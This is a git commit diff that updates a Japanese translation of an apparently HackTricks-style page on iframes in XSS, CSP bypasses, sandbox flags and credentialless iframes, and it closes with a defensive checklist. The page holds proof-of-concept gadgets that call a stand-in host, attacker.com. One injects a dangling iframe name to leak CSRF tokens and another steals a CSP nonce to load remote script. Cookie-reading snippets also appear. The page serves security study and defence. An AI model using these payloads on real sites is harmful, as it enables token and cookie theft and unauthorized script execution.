Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:47:36 +00:00
parent dcf8e801b4
commit a3b335d316

View File

@ -45,8 +45,8 @@ var secret = "child secret"
alert(parent.secret)
</script>
```
前のHTMLにHTTPサーバー例えば`python3 -m http.server`を介してアクセスすると、すべてのスクリプトが実行されることに気付くでしょうCSPがそれを防いでいないため。**親は任意のiframe内の`secret`変数にアクセスできません**が、**同サイトと見なされるif2およびif3のみが元のウィンドウの秘密にアクセスできます**。\
if4`null`オリジンと見なされることに注意してください。
前のHTMLにHTTPサーバー例えば`python3 -m http.server`を介してアクセスすると、すべてのスクリプトが実行されることに気付くでしょうCSPがそれを防いでいないため。**親は任意のiframe内の`secret`変数にアクセスできません**が、**同サイトと見なされるif2if3のみが元のウィンドウの秘密にアクセスできます**。\
if4`null`オリジンと見なされることに注意してください。
### CSPを持つiframe <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
@ -61,7 +61,7 @@ if4が`null`オリジンと見なされることに注意してください。
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -76,12 +76,12 @@ id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
注意してください、**前のCSPはインラインスクリプトの実行のみを許可します**。\
しかし、**`if1``if2`スクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできるようになります**。
**前のCSPはインラインスクリプトの実行のみを許可しています**。\
しかし、**`if1``if2`スクリプトのみが実行されますが、`if1`のみが親の秘密にアクセスできるようになります**。
![](<../../images/image (372).png>)
したがって、**サーバーにJSファイルをアップロードし、`script-src 'none'`であってもiframeを介して読み込むことができればCSPをバイパスすることが可能です**。これは**同じサイトのJSONPエンドポイントを悪用することでも潜在的に行うことができます**。
したがって、**サーバーにJSファイルをアップロードし、`script-src 'none'`であってもiframeを介して読み込むことができればCSPをバイパスすることが可能です**。これは**同じサイトのJSONPエンドポイントを悪用することで実行できる可能性もあります**。
次のシナリオでテストできます。ここでは、`script-src 'none'`であってもクッキーが盗まれます。アプリケーションを実行し、ブラウザでアクセスしてください:
```python
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### その他のペイロードが発見された野生の中で <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### 新しい (2023-2025) CSP バイパス技術と iframe
研究コミュニティは、制限的なポリシーを打破するために iframe を悪用する創造的な方法を発見し続けています。以下は、過去数年間に発表された最も注目すべき技術です:
* **ダングリングマークアップ / 名前付き iframe データ抽出 (PortSwigger 2023)** アプリケーションが HTML を反映するが、強力な CSP がスクリプトの実行をブロックする場合、*ダングリング* `<iframe name>` 属性を注入することで、機密トークンを漏洩させることができます。部分的なマークアップが解析されると、別のオリジンで実行されている攻撃者のスクリプトがフレームを `about:blank` にナビゲートし、`window.name` を読み取ります。これには次の引用文字までのすべてが含まれます(例えば CSRF トークン)。被害者のコンテキストでは JavaScript が実行されないため、攻撃は通常 `script-src 'none'` を回避します。最小限の PoC は次の通りです:
```html
<!-- 機密の <script> の直前の注入ポイント -->
<iframe name="//attacker.com/?"> <!-- 属性は意図的にオープンのまま -->
````
```javascript
// attacker.com フレーム
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → 漏洩した値
```
* **同一オリジン iframe を介したノンス盗難 (2024)** CSP ノンスは DOM から削除されず、DevTools で単に隠されます。攻撃者が *同一オリジン* iframe を注入できる場合例えば、HTML をサイトにアップロードすることによって)、子フレームは単に `document.querySelector('[nonce]').nonce` をクエリし、ポリシーを満たす新しい `<script nonce>` ノードを作成することができ、`strict-dynamic` にもかかわらず完全な JavaScript 実行を可能にします。次のガジェットは、マークアップ注入を XSS にエスカレートさせます:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **フォームアクションのハイジャック (PortSwigger 2024)** `form-action` ディレクティブを省略したページは、注入された iframe またはインライン HTML からログインフォームを *再ターゲット* される可能性があり、パスワードマネージャーが自動的に資格情報を外部ドメインに入力して送信します。たとえ `script-src 'none'` が存在してもです。常に `default-src``form-action` で補完してください!
**防御ノート (クイックチェックリスト)**
1. 二次コンテキストを制御する *すべての* CSP ディレクティブ(`form-action``frame-src``child-src``object-src` など)を常に送信してください。
2. ノンスが秘密であることに依存しないでください—`strict-dynamic` **かつ** 注入ポイントを排除してください。
3. 信頼できないドキュメントを埋め込む必要がある場合は、`sandbox="allow-scripts allow-same-origin"` **を非常に注意して** 使用してください(または、スクリプト実行の隔離のみが必要な場合は `allow-same-origin` なしで)。
4. 深層防御の COOP+COEP デプロイを検討してください;新しい `<iframe credentialless>` 属性(§ 以下)は、サードパーティの埋め込みを壊すことなくそれを可能にします。
### 野生で見つかった他のペイロード <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -126,22 +162,30 @@ iframe内のコンテンツは、`sandbox`属性を使用することで追加
- スクリプトの実行は禁止されます。
- 特定のAPIへのアクセスが無効になります。
- リンクが他のブラウジングコンテキストと相互作用することを防ぎます。
- `<embed>``<object>``<applet>`、または類似のタグを介したプラグインの使用は許可されません
- `<embed>``<object>``<applet>`、または類似のタグを介したプラグインの使用が禁止されます
- コンテンツ自体によるトップレベルのブラウジングコンテキストのナビゲーションが防止されます。
- 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスブロックされます。
- 自動的にトリガーされる機能、例えばビデオ再生やフォームコントロールの自動フォーカスブロックされます。
属性の値は空のまま(`sandbox=""`にして、前述のすべての制限を適用できます。あるいは、iframeが特定の制限から免除されるように、スペースで区切られた特定の値のリストに設定することもできます。
Tip: 現代のブラウザは、`allow-scripts``allow-same-origin``allow-top-navigation-by-user-activation``allow-downloads-without-user-activation`などの細かいフラグをサポートしています。これらを組み合わせて、埋め込まれたアプリケーションに必要な最小限の機能のみを付与します。
属性の値は空にすることができ(`sandbox=""`、前述のすべての制限を適用します。あるいは、特定の制限からiframeを免除するためのスペース区切りの値のリストに設定することもできます。
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)で説明されているように、iframeの`credentialless`フラグは、リクエストに資格情報を送信せずにiframe内にページを読み込むために使用され、iframe内で読み込まれたページの同一オリジンポリシーSOPを維持します。
[この記事](https://blog.slonser.info/posts/make-self-xss-great-again/)で説明されているように、iframeの`credentialless`フラグは、リクエストに資格情報を送信せずにiframe内にページをロードするために使用され、iframe内でロードされたページの同一オリジンポリシーSOPを維持します。
これにより、iframeは親ページに読み込まれた同じSOP内の別のiframeから機密情報にアクセスできます
**Chrome 1102023年2月以降、この機能はデフォルトで有効**になっており、仕様は*anonymous iframe*という名前の下でブラウザ間で標準化されています。MDNはこれを次のように説明しています「実際のオリジンと共有されないように、第三者のiframeを新しい一時的なストレージパーティションにロードするメカニズム」。攻撃者と防御者への影響
* 異なるcredentialless iframe内のスクリプトは**同じトップレベルのオリジンを共有**し、DOMを介して自由に相互作用できるため、マルチiframe自己XSS攻撃が可能になります以下のPoCを参照
* ネットワークが**資格情報を削除**されているため、iframe内のリクエストは実質的に認証されていないセッションとして振る舞います CSRF保護されたエンドポイントは通常失敗しますが、DOMを介して漏洩可能な公開ページは依然として範囲内です。
* credentialless iframeから生成されたポップアップは暗黙的に`rel="noopener"`を取得し、一部のOAuthフローを破壊します。
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- 攻撃の例: Self-XSS + CSRF
@ -183,7 +227,7 @@ fetchLater(req,{activateAfter: timeout})
```
## SOPにおけるIframes
のページを確認してください:
以下のページを確認してください:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## 参考文献
* [PortSwigger Research CSPを回避するためのフォームハイジャックの使用 (2024年3月)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: COEP環境にiframeを簡単に埋め込む (2023年2月)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}